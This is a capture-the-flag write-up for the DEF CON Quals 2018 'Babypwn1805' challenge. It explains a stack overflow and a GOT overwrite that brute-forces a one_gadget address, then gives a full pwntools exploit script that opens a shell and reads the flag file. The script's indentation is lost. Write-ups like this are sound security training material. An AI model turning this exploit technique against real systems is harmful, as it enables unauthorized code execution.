Rating:

Babypwn1805
--------
Reading the provided C source file we found the two stack based 1024 bytes buffer overflow and the "write 8 bytes in a position relative to the bss asdf variable" possibility with the second read.

At first we tried using the stack buffer overflow to ovewrite last byte of the pointer to the name string of the program. We discovered leaking the env that there was a preloaded custom libc, probably different each time.

Second step was to going backwards in the bss writing only 1 byte, trying to find where the entry for the read is on the GOT. Overwriting the LSB we manage to call different functions when the offset is -56 from the variable in bss.

Then we setup a bruteforce of the last two bytes of the read GOT entry, trying to hit a one_gadget (single address to call `execv("/bin/sh/")`).

We found that a few addresses returned some error related to `/bin/sh` having the wrong parameters, so we did another bruteforce, this time trying to jump few bytes before or after those addresses that returned a good output.

We managed to execute the `echo` command provided, so we refined the payload to cat the flag.

### Exploit (final iteration)

```python
#!/usr/bin/env python
from __future__ import print_function
import sys
import struct
import hashlib
from pwn import *
from random import randint
import signal
import sys
host = 'e4771e24.quals2018.oooverflow.io'
port = 31337

def signal_handler(signal, frame):
print('You pressed Ctrl+C!')
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
print('Press Ctrl+C')

def pow_hash(challenge, solution):
return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
h = pow_hash(challenge, solution)
return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
candidate = 0
while True:
if check_pow(challenge, n, candidate):
return candidate
candidate += 1

def solve_pow2(challenge, n):
r = remote("<ip of our leet server>",13337)
r.sendline("{} {}".format(challenge,n))
return int(r.recvuntil("\n")[:-1])

context(log_level='DEBUG')
magics=[0x782a,0x1cbe,0xa821,0x580e,0x6372,0x6fc3,0x5463,0x8076,0x7818,0x834,0x2812,0x4aa8,0x7fc7,0x4019,0x6bb2,0x4bba,0x2ff4,0x206e,0x6078,0x2ff7,0x6037,0x5fc7,0x181d,0x4075,0x5be1,0x9ff6,0x981e,0x9bdc,0x3fff,0x7826,0x581f,0x4aac,0x781b,0x1ee5,0x11d2,0x7d78,0xed9,0x46e7,0xa01d,0x701d]
conn = remote(host,port)

funziona=[0x280d,0x2807,0xa02e,0x581d,0x1808,0xa02e,0x11e5,0x808b,0x607d]

def connect():
global conn
conn.close()
conn = remote(host,port)
conn.recvuntil('Challenge: ')
challenge = conn.recvuntil('\n')[:-1]
conn.recvuntil('n: ')
n = int(conn.recvuntil('\n')[:-1])

# print('Solving challenge: "{}", n: {}'.format(challenge, n))

solution = solve_pow2(challenge, n)
# print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution)))
conn.sendline(str(solution))
conn.recvuntil("Go\n")

if __name__ == '__main__':
while True:
while True:
try:
connect()
break
except:
continue
while True:
try:
conn.clean_and_log()
conn.send(p64(2**64 - 56))#read@GOT
# conn.send(p64(2**64 - 88))#read@
# randPart = randint(-0x18,0x18)
# currentMagic = random.choice(magics) + randPart
currentMagic = random.choice(funziona)
log.info("Current "+hex(currentMagic))
sleep(0.1)
conn.send(p16(currentMagic))
# conn.send(p64(0x7ffff7af1cde))
sleep(0.1)
conn.sendline("echo -n ZIOPANEFUNZIONA;cat ../home/flag")
sleep(0.1)
resp = conn.recvuntil("Go\n")

# if (len(resp)==0):
# conn.sendline('uname -a;echo -n "LODODIO";')
# else:
# continue
# res = conn.recvuntil("Go\n")
if("Go\n" in resp ):
resp = resp.replace("Go\n","")
if(len(resp)>0):
log.warning("Executed stuff "+ hex(currentMagic)+ " : "+ repr(resp))
except EOFError:
log.warning("EOF")
break
```

Original writeup (https://mhackeroni.it/archive/2018/05/20/defconctfquals-2018-all-writeups.html#babypwn1805).